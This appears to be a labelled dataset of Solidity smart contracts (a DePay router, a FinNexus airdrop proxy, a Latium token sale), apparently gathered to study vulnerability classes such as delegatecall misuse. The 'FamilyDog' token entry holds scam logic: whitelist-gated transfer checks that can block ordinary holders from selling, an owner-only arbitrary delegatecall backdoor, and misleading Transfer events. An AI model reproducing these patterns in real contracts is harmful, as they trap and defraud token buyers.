// Helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library Helper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'Helper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'Helper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'Helper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'Helper::safeTransferETH: ETH transfer failed'); } } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity >=0.6.0 <0.8.0; // import "@openzeppelin/contracts/GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Dependency file: contracts/DePayRouterV1Configuration.sol // pragma solidity >=0.7.5 <0.8.0; // import "@openzeppelin/contracts/access/Ownable.sol"; // Prevents unwanted access to configuration in DePayRouterV1 // Potentially occuring through delegatecall(ing) plugins. contract DePayRouterV1Configuration is Ownable { // List of approved plugins. Use approvePlugin to add new plugins. mapping (address => address) public approvedPlugins; // Approves the provided plugin. function approvePlugin(address plugin) external onlyOwner returns(bool) { approvedPlugins[plugin] = plugin; emit PluginApproved(plugin); return true; } // Event to emit newly approved plugin. event PluginApproved( address indexed pluginAddress ); // Disapproves the provided plugin. function disapprovePlugin(address plugin) external onlyOwner returns(bool) { approvedPlugins[plugin] = address(0); emit PluginDisapproved(plugin); return true; } // Event to emit disapproved plugin. event PluginDisapproved( address indexed pluginAddress ); } // Root file: contracts/DePayRouterV1.sol pragma solidity >=0.7.5 <0.8.0; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; // import 'contracts/interfaces/IDePayRouterV1Plugin.sol'; // import 'contracts/libraries/Helper.sol'; // import 'contracts/DePayRouterV1Configuration.sol'; contract DePayRouterV1 { using SafeMath for uint; using SafeERC20 for IERC20; // Address representating ETH (e.g. in payment routing paths) address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // Instance of DePayRouterV1Configuration DePayRouterV1Configuration public immutable configuration; // Pass immutable instance to configuration. // This protects from potential delegatecall and access overlay attacks: // https://github.com/DePayFi/depay-ethereum-payments/blob/master/docs/Audit3.md#H02 constructor ( address _configuration ) public { configuration = DePayRouterV1Configuration(_configuration); } // Proxy modifier to DePayRouterV1Configuration modifier onlyOwner() { require(configuration.owner() == msg.sender, "Ownable: caller is not the owner"); _; } receive() external payable { // Accepts ETH payments which is require in order // to swap from and to ETH // especially unwrapping WETH as part of token swaps. } // The main function to route transactions. function route( // The path of the token conversion. address[] calldata path, // Amounts passed to proccessors: // e.g. [amountIn, amountOut, deadline] uint[] calldata amounts, // Addresses passed to plugins: // e.g. [receiver] address[] calldata addresses, // List and order of plugins to be executed for this payment: // e.g. [Uniswap,paymentPlugin] to swap and pay address[] calldata plugins, // Data passed to plugins: // e.g. ["signatureOfSmartContractFunction(address,uint)"] receiving the payment string[] calldata data ) external payable returns(bool) { uint balanceBefore = _balanceBefore(path[path.length-1]); _ensureTransferIn(path[0], amounts[0]); _execute(path, amounts, addresses, plugins, data); _ensureBalance(path[path.length-1], balanceBefore); return true; } // Returns the balance for a token (or ETH) before the payment is executed. // In case of ETH we need to deduct what has been payed in as part of the transaction itself. function _balanceBefore(address token) private returns (uint balance) { balance = _balance(token); if(token == ETH) { balance -= msg.value; } } // This makes sure that the sender has payed in the token (or ETH) // required to perform the payment. function _ensureTransferIn(address tokenIn, uint amountIn) private { if(tokenIn == ETH) { require(msg.value >= amountIn, 'DePay: Insufficient ETH amount payed in!'); } else { Helper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn); } } // Executes plugins in the given order. function _execute( address[] calldata path, uint[] calldata amounts, address[] calldata addresses, address[] calldata plugins, string[] calldata data ) internal { for (uint i = 0; i < plugins.length; i++) { require(_isApproved(plugins[i]), 'DePay: Plugin not approved!'); IDePayRouterV1Plugin plugin = IDePayRouterV1Plugin(configuration.approvedPlugins(plugins[i])); if(plugin.delegate()) { (bool success, bytes memory returnData) = address(plugin).delegatecall(abi.encodeWithSelector( plugin.execute.selector, path, amounts, addresses, data )); require(success, string(returnData)); } else { (bool success, bytes memory returnData) = address(plugin).call(abi.encodeWithSelector( plugin.execute.selector, path, amounts, addresses, data )); require(success, string(returnData)); } } } // This makes sure that the balance after the payment not less than before. // Prevents draining of the contract. function _ensureBalance(address tokenOut, uint balanceBefore) private view { require(_balance(tokenOut) >= balanceBefore, 'DePay: Insufficient balance after payment!'); } // Returns the balance of the payment plugin contract for a token (or ETH). function _balance(address token) private view returns(uint) { if(token == ETH) { return address(this).balance; } else { return IERC20(token).balanceOf(address(this)); } } // Function to check if a plugin address is approved. function isApproved( address pluginAddress ) external view returns(bool){ return _isApproved(pluginAddress); } // Internal function to check if a plugin address is approved. function _isApproved( address pluginAddress ) internal view returns(bool) { return (configuration.approvedPlugins(pluginAddress) != address(0)); } // Allows to withdraw accidentally sent ETH or tokens. function withdraw( address token, uint amount ) external onlyOwner returns(bool) { if(token == ETH) { Helper.safeTransferETH(payable(configuration.owner()), amount); } else { Helper.safeTransfer(token, payable(configuration.owner()), amount); } return true; } }
DC1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FamilyDog { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// File: contracts\modules\Ownable.sol pragma solidity =0.5.16; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\modules\Managerable.sol pragma solidity =0.5.16; contract Managerable is Ownable { address private _managerAddress; /** * @dev modifier, Only manager can be granted exclusive access to specific functions. * */ modifier onlyManager() { require(_managerAddress == msg.sender,"Managerable: caller is not the Manager"); _; } /** * @dev set manager by owner. * */ function setManager(address managerAddress) public onlyOwner { _managerAddress = managerAddress; } /** * @dev get manager address. * */ function getManager()public view returns (address) { return _managerAddress; } } // File: contracts\modules\whiteList.sol pragma solidity >=0.5.16; /** * SPDX-License-Identifier: GPL-3.0-or-later * FinNexus * Copyright (C) 2020 FinNexus Options Protocol */ /** * @dev Implementation of a whitelist which filters a eligible uint32. */ library whiteListUint32 { /** * @dev add uint32 into white list. * @param whiteList the storage whiteList. * @param temp input value */ function addWhiteListUint32(uint32[] storage whiteList,uint32 temp) internal{ if (!isEligibleUint32(whiteList,temp)){ whiteList.push(temp); } } /** * @dev remove uint32 from whitelist. */ function removeWhiteListUint32(uint32[] storage whiteList,uint32 temp)internal returns (bool) { uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } if (i<len){ if (i!=len-1) { whiteList[i] = whiteList[len-1]; } whiteList.length--; return true; } return false; } function isEligibleUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (bool){ uint256 len = whiteList.length; for (uint256 i=0;i<len;i++){ if (whiteList[i] == temp) return true; } return false; } function _getEligibleIndexUint32(uint32[] memory whiteList,uint32 temp) internal pure returns (uint256){ uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } return i; } } /** * @dev Implementation of a whitelist which filters a eligible uint256. */ library whiteListUint256 { // add whiteList function addWhiteListUint256(uint256[] storage whiteList,uint256 temp) internal{ if (!isEligibleUint256(whiteList,temp)){ whiteList.push(temp); } } function removeWhiteListUint256(uint256[] storage whiteList,uint256 temp)internal returns (bool) { uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } if (i<len){ if (i!=len-1) { whiteList[i] = whiteList[len-1]; } whiteList.length--; return true; } return false; } function isEligibleUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (bool){ uint256 len = whiteList.length; for (uint256 i=0;i<len;i++){ if (whiteList[i] == temp) return true; } return false; } function _getEligibleIndexUint256(uint256[] memory whiteList,uint256 temp) internal pure returns (uint256){ uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } return i; } } /** * @dev Implementation of a whitelist which filters a eligible address. */ library whiteListAddress { // add whiteList function addWhiteListAddress(address[] storage whiteList,address temp) internal{ if (!isEligibleAddress(whiteList,temp)){ whiteList.push(temp); } } function removeWhiteListAddress(address[] storage whiteList,address temp)internal returns (bool) { uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } if (i<len){ if (i!=len-1) { whiteList[i] = whiteList[len-1]; } whiteList.length--; return true; } return false; } function isEligibleAddress(address[] memory whiteList,address temp) internal pure returns (bool){ uint256 len = whiteList.length; for (uint256 i=0;i<len;i++){ if (whiteList[i] == temp) return true; } return false; } function _getEligibleIndexAddress(address[] memory whiteList,address temp) internal pure returns (uint256){ uint256 len = whiteList.length; uint256 i=0; for (;i<len;i++){ if (whiteList[i] == temp) break; } return i; } } // File: contracts\modules\Operator.sol pragma solidity =0.5.16; /** * @dev Contract module which provides a basic access control mechanism, where * each operator can be granted exclusive access to specific functions. * */ contract Operator is Ownable { mapping(uint256=>address) private _operators; /** * @dev modifier, Only indexed operator can be granted exclusive access to specific functions. * */ modifier onlyOperator(uint256 index) { require(_operators[index] == msg.sender,"Operator: caller is not the eligible Operator"); _; } /** * @dev modify indexed operator by owner. * */ function setOperator(uint256 index,address addAddress)public onlyOwner{ _operators[index] = addAddress; } function getOperator(uint256 index)public view returns (address) { return _operators[index]; } } // File: contracts\modules\Halt.sol pragma solidity =0.5.16; contract Halt is Ownable { bool private halted = false; modifier notHalted() { require(!halted,"This contract is halted"); _; } modifier isHalted() { require(halted,"This contract is not halted"); _; } /// @notice function Emergency situation that requires /// @notice contribution period to stop or not. function setHalt(bool halt) public onlyOwner { halted = halt; } } // File: contracts\Airdrop\AirdropVaultData.sol pragma solidity =0.5.16; contract AirDropVaultData is Operator,Halt { address public optionColPool;//the option manager address address public minePool; //the fixed minePool address address public cfnxToken; //the cfnx toekn address address public fnxToken; //fnx token address address public ftpbToken; //ftpb toekn address uint256 public totalWhiteListAirdrop; //total ammout for white list seting accounting uint256 public totalWhiteListClaimed; //total claimed amount by the user in white list uint256 public totalFreeClaimed; //total claimed amount by the user in curve or hegic uint256 public maxWhiteListFnxAirDrop;//the max claimable limit for white list user uint256 public maxFreeFnxAirDrop; // the max claimable limit for hegic or curve user uint256 public claimBeginTime; //airdrop start time uint256 public claimEndTime; //airdrop finish time uint256 public fnxPerFreeClaimUser; //the fnx amount for each person in curve or hegic mapping (address => uint256) public userWhiteList; //the white list user info mapping (address => uint256) public tkBalanceRequire; //target airdrop token list address=>min balance require address[] public tokenWhiteList; //the token address for free air drop //the user which is claimed already for different token mapping (address=>mapping(address => bool)) public freeClaimedUserList; //the users list for the user claimed already from curve or hegic uint256 public sushiTotalMine; //sushi total mine amount for accounting uint256 public sushiMineStartTime; //suhi mine start time uint256 public sushimineInterval = 30 days; //sushi mine reward interval time mapping (address => uint256) public suhiUserMineBalance; //the user balance for subcidy for sushi mine mapping (uint256=>mapping(address => bool)) sushiMineRecord;//the user list which user mine is set already event AddWhiteList(address indexed claimer, uint256 indexed amount); event WhiteListClaim(address indexed claimer, uint256 indexed amount,uint256 indexed ftpbnum); event UserFreeClaim(address indexed claimer, uint256 indexed amount,uint256 indexed ftpbnum); event AddSushiList(address indexed claimer, uint256 indexed amount); event SushiMineClaim(address indexed claimer, uint256 indexed amount); } // File: contracts\Proxy\baseProxy.sol pragma solidity =0.5.16; /** * @title baseProxy Contract */ contract baseProxy is Ownable { address public implementation; constructor(address implementation_) public { // Creator of the contract is admin during initialization implementation = implementation_; (bool success,) = implementation_.delegatecall(abi.encodeWithSignature("initialize()")); require(success); } function getImplementation()public view returns(address){ return implementation; } function setImplementation(address implementation_)public onlyOwner{ implementation = implementation_; (bool success,) = implementation_.delegatecall(abi.encodeWithSignature("update()")); require(success); } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { (bool success, bytes memory returnData) = implementation.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() internal view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() internal returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } } // File: contracts\Airdrop\AirdropVaultProxy.sol pragma solidity =0.5.16; contract AirDropVaultProxy is AirDropVaultData,baseProxy { constructor (address implementation_) baseProxy(implementation_) public{ } function balanceOfWhitListUser(address /*_account*/) public view returns (uint256) { delegateToViewAndReturn(); } function initAirdrop( address /*_optionColPool*/, address /*_minePool*/, address /*_fnxToken*/, address /*_ftpbToken*/, uint256 /*_claimBeginTime*/, uint256 /*_claimEndTime*/, uint256 /*_fnxPerFreeClaimUser*/, uint256 /*_maxFreeFnxAirDrop*/, uint256 /*_maxWhiteListFnxAirDrop*/) public { delegateAndReturn(); } function initSushiMine( address /*_cfnxToken*/, uint256 /*_sushiMineStartTime*/, uint256 /*_sushimineInterval*/) public { delegateAndReturn(); } function getbackLeftFnx(address /*_reciever*/) public { delegateAndReturn(); } function setWhiteList(address[] memory /*_accounts*/,uint256[] memory /*_fnxnumbers*/) public { delegateAndReturn(); } function whitelistClaim() public { delegateAndReturn(); } function setTokenList(address[] memory /*_tokens*/,uint256[] memory /*_minBalForFreeClaim*/) public { delegateAndReturn(); } function balanceOfFreeClaimAirDrop(address/* _targetToken*/,address/* account*/) public view returns(uint256) { delegateToViewAndReturn(); } function freeClaim(address /*_targetToken*/) public { delegateAndReturn(); } function setSushiMineList(address[] memory /*_accounts*/,uint256[] memory /*_fnxnumbers*/) public { delegateAndReturn(); } function sushiMineClaim() external { delegateAndReturn(); } function balanceOfAirDrop(address /*_account*/) public view returns(uint256){ delegateToViewAndReturn(); } function claimAirdrop() public{ delegateAndReturn(); } function resetTokenList() public { delegateAndReturn(); } }
DC1
pragma solidity ^0.4.13; contract Latium { string public constant name = "Latium"; string public constant symbol = "LAT"; uint8 public constant decimals = 16; uint256 public constant totalSupply = 30000000 * 10 ** uint256(decimals); // owner of this contract address public owner; // balances for each account mapping (address => uint256) public balanceOf; // triggered when tokens are transferred event Transfer(address indexed _from, address indexed _to, uint _value); // constructor function Latium() { owner = msg.sender; balanceOf[owner] = totalSupply; } // transfer the balance from sender's account to another one function transfer(address _to, uint256 _value) { // prevent transfer to 0x0 address require(_to != 0x0); // sender and recipient should be different require(msg.sender != _to); // check if the sender has enough coins require(_value > 0 && balanceOf[msg.sender] >= _value); // check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // subtract coins from sender's account balanceOf[msg.sender] -= _value; // add coins to recipient's account balanceOf[_to] += _value; // notify listeners about this transfer Transfer(msg.sender, _to, _value); } } contract LatiumSeller { address private constant _latiumAddress = 0xBb31037f997553BEc50510a635d231A35F8EC640; Latium private constant _latium = Latium(_latiumAddress); // amount of Ether collected from buyers and not withdrawn yet uint256 private _etherAmount = 0; // sale settings uint256 private constant _tokenPrice = 10 finney; // 0.01 Ether uint256 private _minimumPurchase = 10 * 10 ** uint256(_latium.decimals()); // 10 Latium // owner of this contract address public owner; // constructor function LatiumSeller() { owner = msg.sender; } function tokenPrice() constant returns(uint256 tokenPrice) { return _tokenPrice; } function minimumPurchase() constant returns(uint256 minimumPurchase) { return _minimumPurchase; } // function to get current Latium balance of this contract function _tokensToSell() private returns (uint256 tokensToSell) { return _latium.balanceOf(address(this)); } // function without name is the default function that is called // whenever anyone sends funds to a contract function () payable { // we shouldn't sell tokens to their owner require(msg.sender != owner && msg.sender != address(this)); // check if we have tokens to sell uint256 tokensToSell = _tokensToSell(); require(tokensToSell > 0); // calculate amount of tokens that can be bought // with this amount of Ether // NOTE: make multiplication first; otherwise we can lose // fractional part after division uint256 tokensToBuy = msg.value * 10 ** uint256(_latium.decimals()) / _tokenPrice; // check if user's purchase is above the minimum require(tokensToBuy >= _minimumPurchase); // check if we have enough tokens to sell require(tokensToBuy <= tokensToSell); _etherAmount += msg.value; _latium.transfer(msg.sender, tokensToBuy); } // functions with this modifier can only be executed by the owner modifier onlyOwner() { require(msg.sender == owner); _; } // function to withdraw Ether to owner's account function withdrawEther(uint256 _amount) onlyOwner { if (_amount == 0) { // withdraw all available Ether _amount = _etherAmount; } require(_amount > 0 && _etherAmount >= _amount); _etherAmount -= _amount; msg.sender.transfer(_amount); } // function to withdraw Latium to owner's account function withdrawLatium(uint256 _amount) onlyOwner { uint256 availableLatium = _tokensToSell(); require(availableLatium > 0); if (_amount == 0) { // withdraw all available Latium _amount = availableLatium; } require(availableLatium >= _amount); _latium.transfer(msg.sender, _amount); } }
TOD1
